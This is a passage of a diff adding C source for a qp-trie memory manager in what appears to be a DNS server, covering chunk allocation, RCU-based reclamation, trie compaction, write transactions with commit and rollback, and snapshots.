+	return (make_ref(chunk, 0));
+}
+
+/*
+ * This is used to grow the chunk arrays when they fill up. If the old
+ * base array is in use by readers, we must make a clone, otherwise we
+ * can reallocate in place.
+ *
+ * The isc_refcount_init() and qpbase_unref() in this function are a pair.
+ */
+static void
+realloc_chunk_arrays(dns_qp_t *qp, qp_chunk_t newmax) {
+	size_t oldptrs = sizeof(qp->base->ptr[0]) * qp->chunk_max;
+	size_t newptrs = sizeof(qp->base->ptr[0]) * newmax;
+	size_t size = STRUCT_FLEX_SIZE(qp->base, ptr, newmax);
+
+	if (qp->base == NULL || qpbase_unref(qp)) {
+		qp->base = isc_mem_reallocate(qp->mctx, qp->base, size);
+	} else {
+		dns_qpbase_t *oldbase = qp->base;
+		qp->base = isc_mem_allocate(qp->mctx, size);
+		memmove(&qp->base->ptr[0], &oldbase->ptr[0], oldptrs);
+	}
+	memset(&qp->base->ptr[qp->chunk_max], 0, newptrs - oldptrs);
+	isc_refcount_init(&qp->base->refcount, 1);
+	qp->base->magic = QPBASE_MAGIC;
+
+	/* usage array is exclusive to the writer */
+	size_t oldusage = sizeof(qp->usage[0]) * qp->chunk_max;
+	size_t newusage = sizeof(qp->usage[0]) * newmax;
+	qp->usage = isc_mem_reallocate(qp->mctx, qp->usage, newusage);
+	memset(&qp->usage[qp->chunk_max], 0, newusage - oldusage);
+
+	qp->chunk_max = newmax;
+
+	TRACE("qpbase %p usage %p max %u", qp->base, qp->usage, qp->chunk_max);
+}
+
+/*
+ * There was no space in the bump chunk, so find a place to put a fresh
+ * chunk in the chunk arrays, then allocate some twigs from it.
+ */
+static qp_ref_t
+alloc_slow(dns_qp_t *qp, qp_weight_t size) {
+	qp_chunk_t chunk;
+
+	for (chunk = 0; chunk < qp->chunk_max; chunk++) {
+		if (!qp->usage[chunk].exists) {
+			return (chunk_alloc(qp, chunk, size));
+		}
+	}
+	ENSURE(chunk == qp->chunk_max);
+	realloc_chunk_arrays(qp, GROWTH_FACTOR(chunk));
+	return (chunk_alloc(qp, chunk, size));
+}
+
+/*
+ * Ensure we are using a fresh bump chunk.
+ */
+static void
+alloc_reset(dns_qp_t *qp) {
+	(void)alloc_slow(qp, 0);
+}
+
+/*
+ * Allocate some fresh twigs. This is the bump allocator fast path.
+ */
+static inline qp_ref_t
+alloc_twigs(dns_qp_t *qp, qp_weight_t size) {
+	qp_chunk_t chunk = qp->bump;
+	qp_cell_t cell = qp->usage[chunk].used;
+
+	if (cell + size <= QP_CHUNK_SIZE) {
+		qp->usage[chunk].used += size;
+		qp->used_count += size;
+		return (make_ref(chunk, cell));
+	} else {
+		return (alloc_slow(qp, size));
+	}
+}
+
+/*
+ * Record that some twigs are no longer being used, and if possible
+ * zero them to ensure that there isn't a spurious double detach when
+ * the chunk is later recycled.
+ *
+ * Returns true if the twigs were immediately destroyed.
+ *
+ * NOTE: the caller is responsible for attaching or detaching any
+ * leaves as required.
+ */
+static inline bool
+free_twigs(dns_qp_t *qp, qp_ref_t twigs, qp_weight_t size) {
+	qp_chunk_t chunk = ref_chunk(twigs);
+
+	qp->free_count += size;
+	qp->usage[chunk].free += size;
+	ENSURE(qp->free_count <= qp->used_count);
+	ENSURE(qp->usage[chunk].free <= qp->usage[chunk].used);
+
+	if (cells_immutable(qp, twigs)) {
+		qp->hold_count += size;
+		ENSURE(qp->free_count >= qp->hold_count);
+		return (false);
+	} else {
+		zero_twigs(ref_ptr(qp, twigs), size);
+		return (true);
+	}
+}
+
+/*
+ * When some twigs have been copied, and free_twigs() could not
+ * immediately destroy the old copy, we need to update the refcount
+ * on any leaves that were duplicated.
+ */
+static void
+attach_twigs(dns_qp_t *qp, qp_node_t *twigs, qp_weight_t size) {
+	for (qp_weight_t pos = 0; pos < size; pos++) {
+		if (node_tag(&twigs[pos]) == LEAF_TAG) {
+			attach_leaf(qp, &twigs[pos]);
+		}
+	}
+}
+
+/***********************************************************************
+ *
+ *  chunk reclamation
+ */
+
+/*
+ * Is any of this chunk still in use?
+ */
+static inline qp_cell_t
+chunk_usage(dns_qp_t *qp, qp_chunk_t chunk) {
+	return (qp->usage[chunk].used - qp->usage[chunk].free);
+}
+
+/*
+ * We remove each empty chunk from the total counts when the chunk is
+ * freed, or when it is scheduled for safe memory reclamation. We check
+ * the chunk's phase to avoid discounting it twice in the latter case.
+ */
+static void
+chunk_discount(dns_qp_t *qp, qp_chunk_t chunk) {
+	if (qp->usage[chunk].discounted) {
+		return;
+	}
+	INSIST(qp->used_count >= qp->usage[chunk].used);
+	INSIST(qp->free_count >= qp->usage[chunk].free);
+	qp->used_count -= qp->usage[chunk].used;
+	qp->free_count -= qp->usage[chunk].free;
+	qp->usage[chunk].discounted = true;
+}
+
+/*
+ * When a chunk is being recycled, we need to detach any leaves that
+ * remain, and free any `base` arrays that have been marked as unused.
+ */
+static void
+chunk_free(dns_qp_t *qp, qp_chunk_t chunk) {
+	if (qp->write_protect) {
+		TRACE("chunk %u base %p", chunk, qp->base->ptr[chunk]);
+	}
+
+	qp_node_t *n = qp->base->ptr[chunk];
+	for (qp_cell_t count = qp->usage[chunk].used; count > 0; count--, n++) {
+		if (node_tag(n) == LEAF_TAG && node_pointer(n) != NULL) {
+			detach_leaf(qp, n);
+		} else if (count > 1 && reader_valid(n)) {
+			dns_qpreader_t qpr;
+			unpack_reader(&qpr, n);
+			/* pairs with dns_qpmulti_commit() */
+			if (qpbase_unref(&qpr)) {
+				isc_mem_free(qp->mctx, qpr.base);
+			}
+		}
+	}
+	chunk_discount(qp, chunk);
+	chunk_free_raw(qp, qp->base->ptr[chunk]);
+	qp->base->ptr[chunk] = NULL;
+	qp->usage[chunk] = (qp_usage_t){};
+}
+
+/*
+ * Free any chunks that we can while a trie is in use.
+ */
+static void
+recycle(dns_qp_t *qp) {
+	unsigned int free = 0;
+
+	isc_nanosecs_t start = isc_time_monotonic();
+
+	for (qp_chunk_t chunk = 0; chunk < qp->chunk_max; chunk++) {
+		if (chunk != qp->bump && chunk_usage(qp, chunk) == 0 &&
+		    qp->usage[chunk].exists && !qp->usage[chunk].immutable)
+		{
+			chunk_free(qp, chunk);
+			free++;
+		}
+	}
+
+	isc_nanosecs_t time = isc_time_monotonic() - start;
+	atomic_fetch_add_relaxed(&recycle_time, time);
+
+	if (free > 0) {
+		LOG_STATS("qp recycle" PRItime "free %u chunks", time, free);
+		LOG_STATS("qp recycle leaf %u live %u used %u free %u hold %u",
+			  qp->leaf_count, qp->used_count - qp->free_count,
+			  qp->used_count, qp->free_count, qp->hold_count);
+	}
+}
+
+/*
+ * asynchronous cleanup
+ */
+static void
+reclaim_chunks_cb(struct rcu_head *arg) {
+	qp_rcuctx_t *rcuctx = caa_container_of(arg, qp_rcuctx_t, rcu_head);
+	REQUIRE(QPRCU_VALID(rcuctx));
+	dns_qpmulti_t *multi = rcuctx->multi;
+	REQUIRE(QPMULTI_VALID(multi));
+
+	LOCK(&multi->mutex);
+
+	dns_qp_t *qp = &multi->writer;
+	REQUIRE(QP_VALID(qp));
+
+	unsigned int free = 0;
+	isc_nanosecs_t start = isc_time_monotonic();
+
+	for (unsigned int i = 0; i < rcuctx->count; i++) {
+		qp_chunk_t chunk = rcuctx->chunk[i];
+		if (qp->usage[chunk].snapshot) {
+			/* cleanup when snapshot is destroyed */
+			qp->usage[chunk].snapfree = true;
+		} else {
+			chunk_free(qp, chunk);
+			free++;
+		}
+	}
+
+	isc_mem_putanddetach(&rcuctx->mctx, rcuctx,
+			     STRUCT_FLEX_SIZE(rcuctx, chunk, rcuctx->count));
+
+	isc_nanosecs_t time = isc_time_monotonic() - start;
+	recycle_time += time;
+
+	if (free > 0) {
+		LOG_STATS("qp reclaim" PRItime "free %u chunks", time, free);
+		LOG_STATS("qp reclaim leaf %u live %u used %u free %u hold %u",
+			  qp->leaf_count, qp->used_count - qp->free_count,
+			  qp->used_count, qp->free_count, qp->hold_count);
+	}
+
+	UNLOCK(&multi->mutex);
+}
+
+/*
+ * At the end of a transaction, schedule empty but immutable chunks
+ * for reclamation later.
+ */
+static void
+reclaim_chunks(dns_qpmulti_t *multi) {
+	dns_qp_t *qp = &multi->writer;
+
+	unsigned int count = 0;
+	for (qp_chunk_t chunk = 0; chunk < qp->chunk_max; chunk++) {
+		if (chunk != qp->bump && chunk_usage(qp, chunk) == 0 &&
+		    qp->usage[chunk].exists && qp->usage[chunk].immutable &&
+		    !qp->usage[chunk].discounted)
+		{
+			count++;
+		}
+	}
+
+	if (count == 0) {
+		return;
+	}
+
+	qp_rcuctx_t *rcuctx =
+		isc_mem_get(qp->mctx, STRUCT_FLEX_SIZE(rcuctx, chunk, count));
+	*rcuctx = (qp_rcuctx_t){
+		.magic = QPRCU_MAGIC,
+		.multi = multi,
+		.count = count,
+	};
+	isc_mem_attach(qp->mctx, &rcuctx->mctx);
+
+	unsigned int i = 0;
+	for (qp_chunk_t chunk = 0; chunk < qp->chunk_max; chunk++) {
+		if (chunk != qp->bump && chunk_usage(qp, chunk) == 0 &&
+		    qp->usage[chunk].exists && qp->usage[chunk].immutable &&
+		    !qp->usage[chunk].discounted)
+		{
+			rcuctx->chunk[i++] = chunk;
+			chunk_discount(qp, chunk);
+		}
+	}
+
+	call_rcu(&rcuctx->rcu_head, reclaim_chunks_cb);
+
+	LOG_STATS("qp will reclaim %u chunks", count);
+}
+
+/*
+ * When a snapshot is destroyed, clean up chunks that need free()ing
+ * and are not used by any remaining snapshots.
+ */
+static void
+marksweep_chunks(dns_qpmulti_t *multi) {
+	unsigned int free = 0;
+
+	isc_nanosecs_t start = isc_time_monotonic();
+
+	dns_qp_t *qpw = &multi->writer;
+
+	for (dns_qpsnap_t *qps = ISC_LIST_HEAD(multi->snapshots); qps != NULL;
+	     qps = ISC_LIST_NEXT(qps, link))
+	{
+		for (qp_chunk_t chunk = 0; chunk < qps->chunk_max; chunk++) {
+			if (qps->base->ptr[chunk] != NULL) {
+				INSIST(qps->base->ptr[chunk] ==
+				       qpw->base->ptr[chunk]);
+				qpw->usage[chunk].snapmark = true;
+			}
+		}
+	}
+
+	for (qp_chunk_t chunk = 0; chunk < qpw->chunk_max; chunk++) {
+		qpw->usage[chunk].snapshot = qpw->usage[chunk].snapmark;
+		qpw->usage[chunk].snapmark = false;
+		if (qpw->usage[chunk].snapfree && !qpw->usage[chunk].snapshot) {
+			chunk_free(qpw, chunk);
+			free++;
+		}
+	}
+
+	isc_nanosecs_t time = isc_time_monotonic() - start;
+	recycle_time += time;
+
+	if (free > 0) {
+		LOG_STATS("qp marksweep" PRItime "free %u chunks", time, free);
+		LOG_STATS(
+			"qp marksweep leaf %u live %u used %u free %u hold %u",
+			qpw->leaf_count, qpw->used_count - qpw->free_count,
+			qpw->used_count, qpw->free_count, qpw->hold_count);
+	}
+}
+
+/***********************************************************************
+ *
+ *  garbage collector
+ */
+
+/*
+ * Move a branch node's twigs to the `bump` chunk, for copy-on-write
+ * or for garbage collection. We don't update the node in place
+ * because `compact_recursive()` does not ensure the node itself is
+ * mutable until after it discovers evacuation was necessary.
+ *
+ * If free_twigs() could not immediately destroy the old twigs, we have
+ * to re-attach to any leaves.
+ */
+static qp_ref_t
+evacuate(dns_qp_t *qp, qp_node_t *n) {
+	qp_weight_t size = branch_twigs_size(n);
+	qp_ref_t old_ref = branch_twigs_ref(n);
+	qp_ref_t new_ref = alloc_twigs(qp, size);
+	qp_node_t *old_twigs = ref_ptr(qp, old_ref);
+	qp_node_t *new_twigs = ref_ptr(qp, new_ref);
+
+	move_twigs(new_twigs, old_twigs, size);
+	if (!free_twigs(qp, old_ref, size)) {
+		attach_twigs(qp, new_twigs, size);
+	}
+
+	return (new_ref);
+}
+
+/*
+ * Immutable nodes need copy-on-write. As we walk down the trie finding the
+ * right place to modify, make_root_mutable() and make_twigs_mutable()
+ * are called to ensure that immutable nodes on the path from the root are
+ * copied to a mutable chunk.
+ */
+
+static inline qp_node_t *
+make_root_mutable(dns_qp_t *qp) {
+	if (cells_immutable(qp, qp->root_ref)) {
+		qp->root_ref = evacuate(qp, MOVABLE_ROOT(qp));
+	}
+	return (ref_ptr(qp, qp->root_ref));
+}
+
+static inline void
+make_twigs_mutable(dns_qp_t *qp, qp_node_t *n) {
+	if (cells_immutable(qp, branch_twigs_ref(n))) {
+		*n = make_node(branch_index(n), evacuate(qp, n));
+	}
+}
+
+/*
+ * Compact the trie by traversing the whole thing recursively, copying
+ * bottom-up as required. The aim is to avoid evacuation as much as
+ * possible, but when parts of the trie are immutable, we need to evacuate
+ * the paths from the root to the parts of the trie that occupy
+ * fragmented chunks.
+ *
+ * Without the QP_MIN_USED check, the algorithm will leave the trie
+ * unchanged. If the children are all leaves, the loop changes nothing,
+ * so we will return this node's original ref. If all of the children
+ * that are branches did not need moving, again, the loop changes
+ * nothing. So the evacuation check is the only place that the
+ * algorithm introduces ref changes, that then bubble up towards the
+ * root through the logic inside the loop.
+ */
+static qp_ref_t
+compact_recursive(dns_qp_t *qp, qp_node_t *parent) {
+	qp_weight_t size = branch_twigs_size(parent);
+	qp_ref_t twigs_ref = branch_twigs_ref(parent);
+	qp_chunk_t chunk = ref_chunk(twigs_ref);
+
+	if (qp->compact_all ||
+	    (chunk != qp->bump && chunk_usage(qp, chunk) < QP_MIN_USED))
+	{
+		twigs_ref = evacuate(qp, parent);
+	}
+	bool immutable = cells_immutable(qp, twigs_ref);
+	for (qp_weight_t pos = 0; pos < size; pos++) {
+		qp_node_t *child = ref_ptr(qp, twigs_ref) + pos;
+		if (!is_branch(child)) {
+			continue;
+		}
+		qp_ref_t old_grandtwigs = branch_twigs_ref(child);
+		qp_ref_t new_grandtwigs = compact_recursive(qp, child);
+		if (old_grandtwigs == new_grandtwigs) {
+			continue;
+		}
+		if (immutable) {
+			twigs_ref = evacuate(qp, parent);
+			/* the twigs have moved */
+			child = ref_ptr(qp, twigs_ref) + pos;
+			immutable = false;
+		}
+		*child = make_node(branch_index(child), new_grandtwigs);
+	}
+	return (twigs_ref);
+}
+
+static void
+compact(dns_qp_t *qp) {
+	LOG_STATS("qp compact before leaf %u live %u used %u free %u hold %u",
+		  qp->leaf_count, qp->used_count - qp->free_count,
+		  qp->used_count, qp->free_count, qp->hold_count);
+
+	isc_nanosecs_t start = isc_time_monotonic();
+
+	if (qp->usage[qp->bump].free > QP_MAX_FREE) {
+		alloc_reset(qp);
+	}
+
+	if (qp->leaf_count > 0) {
+		qp->root_ref = compact_recursive(qp, MOVABLE_ROOT(qp));
+	}
+	qp->compact_all = false;
+
+	isc_nanosecs_t time = isc_time_monotonic() - start;
+	atomic_fetch_add_relaxed(&compact_time, time);
+
+	LOG_STATS("qp compact" PRItime
+		  "leaf %u live %u used %u free %u hold %u",
+		  time, qp->leaf_count, qp->used_count - qp->free_count,
+		  qp->used_count, qp->free_count, qp->hold_count);
+}
+
+void
+dns_qp_compact(dns_qp_t *qp, dns_qpgc_t mode) {
+	REQUIRE(QP_VALID(qp));
+	if (mode == DNS_QPGC_MAYBE && !QP_NEEDGC(qp)) {
+		return;
+	}
+	if (mode == DNS_QPGC_ALL) {
+		alloc_reset(qp);
+		qp->compact_all = true;
+	}
+	compact(qp);
+	recycle(qp);
+}
+
+/*
+ * Free some twigs and (if they were destroyed immediately so that the
+ * result from QP_MAX_GARBAGE can change) compact the trie if necessary.
+ *
+ * This is called by the trie modification API entry points. The
+ * free_twigs() function requires the caller to attach or detach any
+ * leaves as necessary. Callers of squash_twigs() satisfy this
+ * requirement by calling make_twigs_mutable().
+ *
+ * Aside: In typical garbage collectors, compaction is triggered when
+ * the allocator runs out of space. But that is because typical garbage
+ * collectors do not know how much memory can be recovered, so they must
+ * find out by scanning the heap. The qp-trie code was originally
+ * designed to use malloc() and free(), so it has more information about
+ * when garbage collection might be worthwhile. Hence we can trigger
+ * collection when garbage passes a threshold.
+ *
+ * XXXFANF: If we need to avoid latency outliers caused by compaction in
+ * write transactions, we can check qp->transaction_mode here.
+ */
+static inline bool
+squash_twigs(dns_qp_t *qp, qp_ref_t twigs, qp_weight_t size) {
+	bool destroyed = free_twigs(qp, twigs, size);
+	if (destroyed && QP_AUTOGC(qp)) {
+		compact(qp);
+		recycle(qp);
+		/*
+		 * This shouldn't happen if the garbage collector is
+		 * working correctly. We can recover at the cost of some
+		 * time and space, but recovery should be cheaper than
+		 * letting compact+recycle fail repeatedly.
+		 */
+		if (QP_AUTOGC(qp)) {
+			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
+				      DNS_LOGMODULE_QP, ISC_LOG_NOTICE,
+				      "qp %p uctx \"%s\" compact/recycle "
+				      "failed to recover any space, "
+				      "scheduling a full compaction",
+				      qp, TRIENAME(qp));
+			qp->compact_all = true;
+		}
+	}
+	return (destroyed);
+}
+
+/***********************************************************************
+ *
+ *  public accessors for memory management internals
+ */
+
+dns_qp_memusage_t
+dns_qp_memusage(dns_qp_t *qp) {
+	REQUIRE(QP_VALID(qp));
+
+	dns_qp_memusage_t memusage = {
+		.uctx = qp->uctx,
+		.leaves = qp->leaf_count,
+		.live = qp->used_count - qp->free_count,
+		.used = qp->used_count,
+		.hold = qp->hold_count,
+		.free = qp->free_count,
+		.node_size = sizeof(qp_node_t),
+		.chunk_size = QP_CHUNK_SIZE,
+		.fragmented = QP_NEEDGC(qp),
+	};
+
+	for (qp_chunk_t chunk = 0; chunk < qp->chunk_max; chunk++) {
+		if (qp->base->ptr[chunk] != NULL) {
+			memusage.chunk_count += 1;
+		}
+	}
+
+	/*
+	 * XXXFANF does not subtract chunks that have been shrunk,
+	 * and does not count unreclaimed dns_qpbase_t objects
+	 */
+	memusage.bytes = memusage.chunk_count * QP_CHUNK_BYTES +
+			 qp->chunk_max * sizeof(qp->base->ptr[0]) +
+			 qp->chunk_max * sizeof(qp->usage[0]);
+
+	return (memusage);
+}
+
+dns_qp_memusage_t
+dns_qpmulti_memusage(dns_qpmulti_t *multi) {
+	REQUIRE(QPMULTI_VALID(multi));
+	LOCK(&multi->mutex);
+
+	dns_qp_t *qp = &multi->writer;
+	INSIST(QP_VALID(qp));
+
+	dns_qp_memusage_t memusage = dns_qp_memusage(qp);
+
+	if (qp->transaction_mode == QP_UPDATE) {
+		memusage.bytes -= QP_CHUNK_BYTES;
+		memusage.bytes += qp->usage[qp->bump].used * sizeof(qp_node_t);
+	}
+
+	UNLOCK(&multi->mutex);
+	return (memusage);
+}
+
+void
+dns_qp_gctime(isc_nanosecs_t *compact_p, isc_nanosecs_t *recycle_p,
+	      isc_nanosecs_t *rollback_p) {
+	*compact_p = atomic_load_relaxed(&compact_time);
+	*recycle_p = atomic_load_relaxed(&recycle_time);
+	*rollback_p = atomic_load_relaxed(&rollback_time);
+}
+
+/***********************************************************************
+ *
+ *  read-write transactions
+ */
+
+static dns_qp_t *
+transaction_open(dns_qpmulti_t *multi, dns_qp_t **qptp) {
+	REQUIRE(QPMULTI_VALID(multi));
+	REQUIRE(qptp != NULL && *qptp == NULL);
+
+	LOCK(&multi->mutex);
+
+	dns_qp_t *qp = &multi->writer;
+	INSIST(QP_VALID(qp));
+
+	/*
+	 * Mark existing chunks as immutable.
+	 *
+	 * Aside: The bump chunk is special: in a series of write
+	 * transactions the bump chunk is reused; the first part (up
+	 * to fender) is immutable, the rest mutable. But we set its
+	 * immutable flag so that when the bump chunk fills up, the
+	 * first part continues to be treated as immutable. (And the
+	 * rest of the chunk too, but that's OK.)
+	 */
+	for (qp_chunk_t chunk = 0; chunk < qp->chunk_max; chunk++) {
+		if (qp->usage[chunk].exists) {
+			qp->usage[chunk].immutable = true;
+			write_protect(qp, chunk);
+		}
+	}
+
+	/*
+	 * Ensure QP_AUTOGC() ignores free space in immutable chunks.
+	 */
+	qp->hold_count = qp->free_count;
+
+	*qptp = qp;
+	return (qp);
+}
+
+/*
+ * a write is light
+ *
+ * We need to ensure we allocate from a fresh chunk if the last transaction
+ * shrunk the bump chunk; but usually in a sequence of write transactions
+ * we just put `fender` at the point where we started this generation.
+ *
+ * (Aside: Instead of keeping the previous transaction's mode, I
+ * considered forcing allocation into the slow path by fiddling with
+ * the bump chunk's usage counters. But that is troublesome because
+ * `chunk_free()` needs to know how much of the chunk to scan.)
+ */
+void
+dns_qpmulti_write(dns_qpmulti_t *multi, dns_qp_t **qptp) {
+	dns_qp_t *qp = transaction_open(multi, qptp);
+	TRACE("");
+
+	if (qp->transaction_mode == QP_WRITE) {
+		qp->fender = qp->usage[qp->bump].used;
+	} else {
+		alloc_reset(qp);
+	}
+	qp->transaction_mode = QP_WRITE;
+}
+
+/*
+ * an update is heavier
+ *
+ * We always reset the allocator to the start of a fresh chunk,
+ * because the previous transaction was probably an update that shrunk
+ * the bump chunk. It simplifies rollback because `fender` is always zero.
+ *
+ * To rollback a transaction, we need to reset all the allocation
+ * counters to their previous state, in particular we need to un-free
+ * any nodes that were copied to make them mutable. This means we need
+ * to make a copy of basically the whole `dns_qp_t writer`: everything
+ * but the chunks holding the trie nodes.
+ *
+ * We do most of the transaction setup before creating the rollback
+ * state so that after rollback we have a correct idea of which chunks
+ * are immutable, and so we have the correct transaction mode to make
+ * the next transaction allocate a new bump chunk. The exception is
+ * resetting the allocator, which we do after creating the rollback
+ * state; if this transaction is rolled back then the next transaction
+ * will start from the rollback state and also reset the allocator as
+ * one of its first actions.
+ */
+void
+dns_qpmulti_update(dns_qpmulti_t *multi, dns_qp_t **qptp) {
+	dns_qp_t *qp = transaction_open(multi, qptp);
+	TRACE("");
+
+	qp->transaction_mode = QP_UPDATE;
+
+	dns_qp_t *rollback = isc_mem_allocate(qp->mctx, sizeof(*rollback));
+	memmove(rollback, qp, sizeof(*rollback));
+	/* can be uninitialized on the first transaction */
+	if (rollback->base != NULL) {
+		INSIST(QPBASE_VALID(rollback->base));
+		INSIST(qp->usage != NULL && qp->chunk_max > 0);
+		/* paired with either _commit() or _rollback() */
+		isc_refcount_increment(&rollback->base->refcount);
+		size_t usage_bytes = sizeof(qp->usage[0]) * qp->chunk_max;
+		rollback->usage = isc_mem_allocate(qp->mctx, usage_bytes);
+		memmove(rollback->usage, qp->usage, usage_bytes);
+	}
+	INSIST(multi->rollback == NULL);
+	multi->rollback = rollback;
+
+	alloc_reset(qp);
+}
+
+void
+dns_qpmulti_commit(dns_qpmulti_t *multi, dns_qp_t **qptp) {
+	REQUIRE(QPMULTI_VALID(multi));
+	REQUIRE(qptp != NULL && *qptp == &multi->writer);
+	REQUIRE(multi->writer.transaction_mode == QP_WRITE ||
+		multi->writer.transaction_mode == QP_UPDATE);
+
+	dns_qp_t *qp = *qptp;
+	TRACE("");
+
+	if (qp->transaction_mode == QP_UPDATE) {
+		INSIST(multi->rollback != NULL);
+		/* paired with dns_qpmulti_update() */
+		if (qpbase_unref(multi->rollback)) {
+			isc_mem_free(qp->mctx, multi->rollback->base);
+		}
+		if (multi->rollback->usage != NULL) {
+			isc_mem_free(qp->mctx, multi->rollback->usage);
+		}
+		isc_mem_free(qp->mctx, multi->rollback);
+	}
+	INSIST(multi->rollback == NULL);
+
+	/* not the first commit? */
+	if (multi->reader_ref != INVALID_REF) {
+		INSIST(cells_immutable(qp, multi->reader_ref));
+		free_twigs(qp, multi->reader_ref, READER_SIZE);
+	}
+
+	if (qp->transaction_mode == QP_UPDATE) {
+		/* minimize memory overhead */
+		compact(qp);
+		multi->reader_ref = alloc_twigs(qp, READER_SIZE);
+		qp->base->ptr[qp->bump] = chunk_shrink_raw(
+			qp, qp->base->ptr[qp->bump],
+			qp->usage[qp->bump].used * sizeof(qp_node_t));
+	} else {
+		multi->reader_ref = alloc_twigs(qp, READER_SIZE);
+	}
+
+	/* anchor a new version of the trie */
+	qp_node_t *reader = ref_ptr(qp, multi->reader_ref);
+	make_reader(reader, multi);
+	/* paired with chunk_free() */
+	isc_refcount_increment(&qp->base->refcount);
+
+	rcu_assign_pointer(multi->reader, reader); /* COMMIT */
+
+	/* clean up what we can right now */
+	if (qp->transaction_mode == QP_UPDATE || QP_NEEDGC(qp)) {
+		recycle(qp);
+	}
+
+	/* schedule the rest for later */
+	reclaim_chunks(multi);
+
+	*qptp = NULL;
+	UNLOCK(&multi->mutex);
+}
+
+/*
+ * Throw away everything that was allocated during this transaction.
+ */
+void
+dns_qpmulti_rollback(dns_qpmulti_t *multi, dns_qp_t **qptp) {
+	unsigned int free = 0;
+
+	REQUIRE(QPMULTI_VALID(multi));
+	REQUIRE(multi->writer.transaction_mode == QP_UPDATE);
+	REQUIRE(qptp != NULL && *qptp == &multi->writer);
+
+	dns_qp_t *qp = *qptp;
+	TRACE("");
+
+	isc_nanosecs_t start = isc_time_monotonic();
+
+	for (qp_chunk_t chunk = 0; chunk < qp->chunk_max; chunk++) {
+		if (qp->base->ptr[chunk] != NULL && !qp->usage[chunk].immutable)
+		{
+			chunk_free(qp, chunk);
+			/*
+			 * we need to clear its base pointer in the rollback
+			 * trie, in case the arrays were resized
+			 */
+			if (chunk < multi->rollback->chunk_max) {
+				INSIST(!multi->rollback->usage[chunk].exists);
+				multi->rollback->base->ptr[chunk] = NULL;
+			}
+			free++;
+		}
+	}
+
+	/*
+	 * multi->rollback->base and multi->writer->base are the same,
+	 * unless there was a realloc_chunk_arrays() during the transaction
+	 */
+	if (qpbase_unref(qp)) {
+		/* paired with dns_qpmulti_update() */
+		isc_mem_free(qp->mctx, qp->base);
+	}
+	isc_mem_free(qp->mctx, qp->usage);
+
+	/* reset allocator state */
+	INSIST(multi->rollback != NULL);
+	memmove(qp, multi->rollback, sizeof(*qp));
+	isc_mem_free(qp->mctx, multi->rollback);
+	INSIST(multi->rollback == NULL);
+
+	isc_nanosecs_t time = isc_time_monotonic() - start;
+	atomic_fetch_add_relaxed(&rollback_time, time);
+
+	LOG_STATS("qp rollback" PRItime "free %u chunks", time, free);
+
+	*qptp = NULL;
+	UNLOCK(&multi->mutex);
+}
+
+/***********************************************************************
+ *
+ *  read-only transactions
+ */
+
+static dns_qpmulti_t *
+reader_open(dns_qpmulti_t *multi, dns_qpreadable_t qpr) {
+	dns_qpreader_t *qp = dns_qpreader(qpr);
+	qp_node_t *reader = rcu_dereference(multi->reader);
+	if (reader == NULL) {
+		QP_INIT(qp, multi->writer.methods, multi->writer.uctx);
+	} else {
+		multi = unpack_reader(qp, reader);
+	}
+	return (multi);
+}
+
+/*
+ * a query is light
+ */
+
+void
+dns_qpmulti_query(dns_qpmulti_t *multi, dns_qpread_t *qp) {
+	REQUIRE(QPMULTI_VALID(multi));
+	REQUIRE(qp != NULL);
+
+	dns_qpmulti_t *whence = reader_open(multi, qp);
+	INSIST(whence == multi);
+
+	qp->tid = isc_tid();
+	rcu_read_lock();
+}
+
+void
+dns_qpread_destroy(dns_qpmulti_t *multi, dns_qpread_t *qp) {
+	REQUIRE(QPMULTI_VALID(multi));
+	REQUIRE(QP_VALID(qp));
+	REQUIRE(qp->tid == isc_tid());
+	*qp = (dns_qpread_t){};
+	rcu_read_unlock();
+}
+
+/*
+ * a snapshot is heavy
+ */
+
+void
+dns_qpmulti_snapshot(dns_qpmulti_t *multi, dns_qpsnap_t **qpsp) {
+	REQUIRE(QPMULTI_VALID(multi));
+	REQUIRE(qpsp != NULL && *qpsp == NULL);
+
+	LOCK(&multi->mutex);
+
+	dns_qp_t *qpw = &multi->writer;
+	size_t bytes = sizeof(dns_qpsnap_t) + sizeof(dns_qpbase_t) +
+		       sizeof(qpw->base->ptr[0]) * qpw->chunk_max;
+	dns_qpsnap_t *qps = isc_mem_allocate(qpw->mctx, bytes);
+	qps->whence = reader_open(multi, qps);
+	INSIST(qps->whence == multi);
+
+	/* not a separate allocation */
+	qps->base = (dns_qpbase_t *)(qps + 1);
+	isc_refcount_init(&qps->base->refcount, 0);
+
+	/*
+	 * only copy base pointers of chunks we need, so we can
+	 * reclaim unused memory in dns_qpsnap_destroy()
+	 */
+	qps->chunk_max = qpw->chunk_max;
+	for (qp_chunk_t chunk = 0; chunk < qpw->chunk_max; chunk++) {
+		if (qpw->usage[chunk].exists && chunk_usage(qpw, chunk) > 0) {
+			qpw->usage[chunk].snapshot = true;
+			qps->base->ptr[chunk] = qpw->base->ptr[chunk];
+		} else {
+			qps->base->ptr[chunk] = NULL;
+		}
+	}
+	ISC_LIST_INITANDAPPEND(multi->snapshots, qps, link);
+
+	*qpsp = qps;
+	UNLOCK(&multi->mutex);
+}
+
+void
+dns_qpsnap_destroy(dns_qpmulti_t *multi, dns_qpsnap_t **qpsp) {
+	REQUIRE(QPMULTI_VALID(multi));
+	REQUIRE(qpsp != NULL && *qpsp != NULL);
+
+	LOCK(&multi->mutex);
+
+	dns_qpsnap_t *qp = *qpsp;
+
+	/* make sure the API is being used correctly */
+	REQUIRE(qp->whence == multi);
+
+	ISC_LIST_UNLINK(multi->snapshots, qp, link);
+
+	/*
+	 * eagerly reclaim chunks that are now unused, so that memory does
+	 * not accumulate when a trie has a lot of updates and snapshots
+	 */
+	marksweep_chunks(multi);
+
+	isc_mem_free(multi->writer.mctx, qp);
+
+	*qpsp = NULL;
+	UNLOCK(&multi->mutex);
+}
+
+/***********************************************************************
+ *
+ *  constructors, destructors
+ */
+
+void
+dns_qp_create(isc_mem_t *mctx, const dns_qpmethods_t *methods, void *uctx,
+	      dns_qp_t **qptp) {
+	REQUIRE(qptp != NULL && *qptp == NULL);
+
+	dns_qp_t *qp = isc_mem_get(mctx, sizeof(*qp));
+	QP_INIT(qp, methods, uctx);
+	isc_mem_attach(mctx, &qp->mctx);
+	alloc_reset(qp);
+	TRACE("");
+	*qptp = qp;
+}
+
+void
+dns_qpmulti_create(isc_mem_t *mctx, const dns_qpmethods_t *methods, void *uctx,
+		   dns_qpmulti_t **qpmp) {
+	REQUIRE(qpmp != NULL && *qpmp == NULL);
+
